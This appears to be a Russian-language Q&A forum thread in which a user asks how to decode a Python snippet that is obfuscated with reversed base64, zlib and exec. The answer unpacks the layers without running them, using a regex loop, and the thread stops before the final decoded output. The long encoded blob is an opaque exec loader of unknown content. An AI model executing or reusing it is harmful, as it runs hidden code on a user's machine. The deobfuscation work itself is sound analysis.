Декодирование строки

Помогите пожалуйста есть ли какие-то сайты или сервисы чтобы декодировать данный код

# Python obfuscation by freecodingtools.org
                    
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'=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'))

Ответы (1 шт):

Автор решения: insolor

Смотрите, тут на самом деле 2 строки (разделяются точкой с запятой):

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));

exec((_)(b'длинная байтовая строка'))

В первой объявляется функция (одно подчеркивание тут - имя функции, два подчеркивания - параметр):

def _(__):
    return __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]))

Сама функция не делает ничего сверхъестественного, просто - разворачивает входную строку, декодирует ее из BASE64, потом разжимает алгоритмом ZLIB, ничего особо опасного.

Если переписать по-человечески, будет выглядеть так:

import base64
import zlib


def func(code):
    return zlib.decompress(base64.b64decode(code[::-1]))

Во второй строке (там где exec) в эту функцию передается длинная байтовая строка, и результат этой функции запускается как код через exec.

Мы запускать ничего не будем (небезопасно запускать произвольный код), но посмотрим, что функция возвращает:

import zlib
import base64


def func(code):
    return zlib.decompress(base64.b64decode(code[::-1]))


print(func(b'=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'))

Вывод:

b"exec((_)(b'=o1BYU9H//375/vVtGeDA51bDHktdPBkS9HWMrjo...'))"  # Сократил, конкретная строка тут не важна

Т.е. тут опять вызывается та же функция уже с другим параметром.

Вы можете тут мне поверить на слово, можно так несколько раз повторить (я повторил раз 5), будет получаться примерно похожее — вызов функции с непонятной длинной строкой, но строка будет постепенно уменьшаться.

Можно предположить, что после какого-то количества повторений мы получим настоящий код. Вручную эту операцию мы делать не будем, напишем цикл, будем вытаскивать эту байтовую строку и подставлять в функцию.

Как начальное значение для параметра берем "вторую" строку из изначального кода (то что идет после точки с запятой)

import base64
import re
import zlib


def func(code):
    return zlib.decompress(base64.b64decode(code[::-1]))


code = b"exec((_)(b'=MJL4P2/77///I/vcDB5GOX/sOIbRfz+2ic8psf//8dHnJN/mkjcBFiNQQoPPjlKCiAKoxwCsQLERJEcvRgC0VsbhrrdijbU/4RbBhmGMORD5oDft+92l8Jw4uovpw8om/fYCO1uYHhG09wG4lGWCAMd0/ykj4OFe/us4ZC/sILUsvlQ5exuY0KjxgjXM1WC6a2zU18mILzfapVcpaqkZ50swbSulhVX0y5rw9BErSyPs2PN+3HmVQNf49GecTgb0N8LLRWi8yHQ3NU/vIPAYEOoX0yviMeGSD83TrS3cZp1Api6sabUaYlkBjkIMY737BkSoP2LNI3nZRPpOGDCtyU5mWyxxiBgJMFzrev5yY5huBOdMC7HGOxQZ1MdD9ZbJyu129Y29GiafeO7dDvAR9PL2qsnsTtYRZPezud0yS7SjerZFbwoWXL6DaM4sULpn7u5TNugVvRufGC9jSYfoF+1sXqvfMspiQAW4H+tfUICb1Ejdhkbo/wj1CHS8/pmki+hXqoECzrEgmY7PIPrJQc+Yd3lhiN7NtSs1bLPbrxXBnPCaMMD1Gxk0+dswhiu6p3ZEDHp+Gt0T93GYIPjuU6yEkBQ2JAvmiGFHpi4f2PWfXXS3SlEBmq8XLlNiEwr8uZlNjPVQ2rVh4LmLE9DjAheuMvSHhk17PIdtFN+mlBhO8Z+Z2x8ydF0YG97igZCCjKOdWMzG04oIdJH2s8O7AapdvVjLPXUwX/uaoEpA6IlQocaCc2yhXk+cvsXCC6L8Pt34+7xGPJfNnRB76Oil2Yr8P5JHdibMqtNXHIx/i94uyJ14Gykq+cdy5JfAm90hfm0jjvz/4WYhMpLXIr/f+L1fkvxlXxcxFK88lj23ifB3csizelLzuYbUAcslmTFN0x+VsR7Gp2shFPnwSp9YAU1BbWIlB8V/ZCKo1MJyTch4pL04MSIFJWmIhHyEYkrD2vM0VINsSMgtPOnkncT0moKhPL0Vjcp63HSIw4HOL0/7AHgq59YKRF1CRQ+zbKMMBsrSe/PsD4zVHYHOxw9pN+cuqwSAR0jRWqCgWG2jibVUM3+vqc7e4S9EmSGFZ9JWe6VP8xodF+jom3f6xwMsLxqR0+CDcMF0FkquPCINrGfJ9nEbvwn2L+FvyHjwzyQuZVsusLG5Z8hDMip3pmqYD/qZcVZZf4aSkvfD3lqSPYmrheINea95fPbUqdkfM+q2uqv/elFexiBP8Q3H7zlF9s4p3VOlEJvG4of0gxaOvZ9ULPbbLkge7YwS09bY2YqWSCcpMbjpIKngE3SRdbgvthGi9Kbix1qqfNujyOw/ibRfgjQKSkO/epfC9cFbUHVe/utM4XAHtSx+/aPK7RrJ6M7NBNsurJFeJdsi7x5RaZsZEsC9zdprw2xufNvnn+Ec8aluLnmN34NSjlrlCW6+gmSqcaxccjaUS5bccyF3wTSO1iLa/w7y3HbCqDIPoz20QQpTXrqQ+7vO/Rqn5bAqmj0Ye1Na6scCV5048dogRIEsuFuV/+ydg6YVVSDo4TLWJWXuruQsDFB0Y0a2KL8Zm0CbfHIWt4xJ9w8iRWGbmsJqOwgsSqeyfNlsNbvxci8HAqAGnCguD83NkYE79QHGPLilwLHj0cSaiAUfF76zn+cTRNEP5+Hd9+uacr2UcpXnfRC8CItPCa63R/BInmobdkGy+q99XI7YhdPcl9R+Z/e3CJXV3Cp1Me/zkvH1oTqKlJModxd3cHa54hiStKlD6qBoxCTuapbJMPvd0JeBJXfvxquroUxuKryWU/fglVvfO/RwYZ4jfUH3DSYizPYP0+rITDJ8l+ispB7QwYq0GVW43tOvtk+/6klrLxTGDdA2qWNGis7Whn06ZdUJEonlwn+bp0Wz+jKtR7XJtl0RkEJ6QGOSbn8y7UxOTuei/oUE5f8xw/Saaxr2Le3/PKZ/+qREqyapp8bJkexv6m8mTXhVJZa6dvVjMMk0yot+8IGAxlFmGPareZXp3FnzL1usEacbQ6c/hYf/WZ+QnhyuTkmQYCvt29oy4IW6bP92bMnSVyf2xQ3G3Grx0zNYguJfKSOkjaUziDFKultc3oZByGBLCUADHNSTTAeZXWGXPskX+zXRRntKT46zk9WrUjVvn0+ByqM0Q1+R+L2Qe9YMwQXrGOXY/BxzlWATNmkdhvrstJFdgcxoLhx5/fSD+9Yq1Oc1TOpINAsQ1Mel2QBt5p1J+9ybhWGFwEHlZkK21IAw91nLemciyIUghKweDTkFDkyNFDGrcf7cK6ToCnJFmQVvL7aKoI5ALqG753B+pm91v+m57M6swIpkkhj2TAsxq1+pX0yglx47AI8x/hykMf7cosZ7DSIg1be901NeouvJjtBa+M2MESETGNUTUTtd+DONUxx5DKkf+ccUDjHqC5I6wjza6BbC9AWRxCw5o8GeOzWtrJApulWU1ma38d8pDySFP9HrSvvh/mSMAGO+YSZASMxZFLLsCDcT0bJg6C8aMhT2Y0xPdtAILva+8bnYNQdTDhcnlIQNAUtZv2gHWm8FRtDxl2jfAIC0e1Em0f1K2Hzg+CQ/zs2wyuwpir33RvNIYsxRRYQ+6BhEe2kw61nzQZLKRnJg8KfTx03XbEEysUw9HL/SPPiRmzkEU0OT9G3o/F104T07GZfFkWo4a6Mwmc6dzqbz5hvImbH1BIyFylaiR4HCttxpQKXzZkGiww25bNMwDWR3exOaXNGVBK1/JWqmfeBefbyZX0mNQMc1p1vcr+W8SMeyoDkeLRclZC8kz5OCz4Ho1CCMI7LC+2shu5KHlYxaoOOfilNpFMGFM793UWkHD1QCoiv7y0Bul3XO1LU/eXslZzCP3Wwfa37XvFxVCqfh2r+HnKEW9HRRCLOeq3NGNOIFTad57SKjztWF1h0Xrg56m/EGA+IDRqjZMMJiO7Dknh6X6EFcCJCThzxCIvZFpfYe9rm359Eg6oEov/FAn7XQQ9e0Aqvd28JLn7p0wO2OcfLALueo4ltCIRwUcL4OMXr82jjoHR8hT2EabIr72jFBplEFn67Cs1lH5D23Xb8ahPzu6TYQtDLVtOsJ86nQXGMWPK31QqHVYARfnh0xo7qvtpJqzJwB/Ip8ztm7+DsjHLnbTUPBmjvVji83ijFQowYxITtorPf7u2VtBzk6KPsAzgOS9kKtmdGwabMAYgomRaKNeL7YCh3RKBz0udeS7n3wQaC75proBpxPf0/D4xYEkO6vXLxD70qObzuydOyVAmqdGOGLck2Zta+Pbwy8Gb7NBFDVIqGy8ehtT4dUYeRA9vvGtiDZf4vVkapIGBwsOnZIij7j+wqgd3g0Sog8yMfbpGZ2RCav20lmt7breHVH2Wtz0zlpLcXyy2e0ZQZytarpr8iamS7zu6nQCOLKsS0v7vWZtwN+LYi/P+K7h6WErIAnjruiGKBfDTrnm9nmeiSkJIrcYCYCQlsbunsZ4YtiW4Q5xAyQG7FtMlFLuH8IC48tJVVANfwUd+F1LP8KQ5iL9lXj7z3i/7ixSh2gpJjhkhRCb57tiBgWM9NBJpbd/W3x8BA8DasKJXh3fcfe5fsNuktQ2aXTIxVkxb8JT3Zli93o6bZuyri3szBHr76ZTGf48dck9G5Xz8GPx23nasXcoUI4gBbUIEvEbIVjTevhtFZgKnOoWqhHh96hVmu9CtqJOdgqw/IJNZDvVhWjsmBqe4W/zh1rQRaPEq9OUeO39Qs6gN+Rl4sLIV4A14MmRqURkRQV6JACi81n0mwpKKCAmfjUcN8Nqp2GEerL4Tffgju0oUGI2LIYnk1hPVkDyGngvd6jD/5swuOY6ceqUadWi5GQu81H9LCfNeTfxKndtJJxq8gJFwwnDAJshPV+0JzJs7zikASIHgZFJUr3B1g+AB7CWwqPfpwb2yXVyOjifyDrlLUsjWIqL9kCTQM1PuYmGjdctVVErEeO5c6xCh/GCnTqN4UKhlKOf8wFvU2QBn8ajYPP928e9+BxWQWCn1BZV5/PIPMRYUwxGrnsO90qEw83ukOdqk28lGTId2bmDKZ2lxBIM+DGVPvVJNRGKYdkKwDqMcsYh4AqHBGH4GagqBq+yRUz5IPDPvEMf9QL++JZ+Y44LzuZZvd9x+lgQq7fitmVosjkH6J3169GW0Nw714aQhOqxirTTRxB1Eoq+LkIFrxiPgFTUZPbjvCt0x2oi31sosMp+ochRbWwEUsyBB+RZtkBmxcXkOsev4Vbg/uAZ8tJu0HH64SJXOGou4DJ7XIC2u7k9RDE/mhv300OgaUyQ/lmI5AuXPmknCgHJteu966fj9PE8lxEP5zp91438Ci4atVWBIdKusx4liMHB02IUIqJfX/ogioDQ1qZDE/8yGq+Q/5bOH6qdpCqxoQFpQDMtRvsXom+oFKB5dT7rEHtqgrFeveqgMl+pRw9DfImAXFRgoenuhN7o+VikQfllGDupAzJ/+rkI8MoCZP4S2drAciHlTlAwLYJSt2oaPCFb8ErPY8I7wNU34VQMay+PWFxTe3M8hue6Xf8p5BTsdDAiX7YUta40pzUn5od/pK0oAivyzxd37ReLzOIt52Iu2U6BNHMF0wyeS0NB6/ieg8Qln2Iz1fa2Z4LqbRNACKApp/tUjB4cM3CU7at7Aw22KqGSraVE9DYvtAW8es5c0+aQI497Kd17xAXh7vbxbYoPlHmsMECjlheDzfxaGDZqX4dU5Vb2a9OoVXtvoC/kLeOzRGknqDKAfclARQW+5Ymlxv5/PZ//7757/fzni8rquuWWbJoS6T3Rf/ZmplkZoZ/zGwcTBzOklzn9Bhyqjx2W7lVwJe'))"
regex = re.compile(rb"^exec\(\(_\)\(b'(.+)'\)\)$")


while True:
    result = regex.search(code)
    
    if not result:
        break
    
    code = func(result.group(1))


print(code)

Вывод:

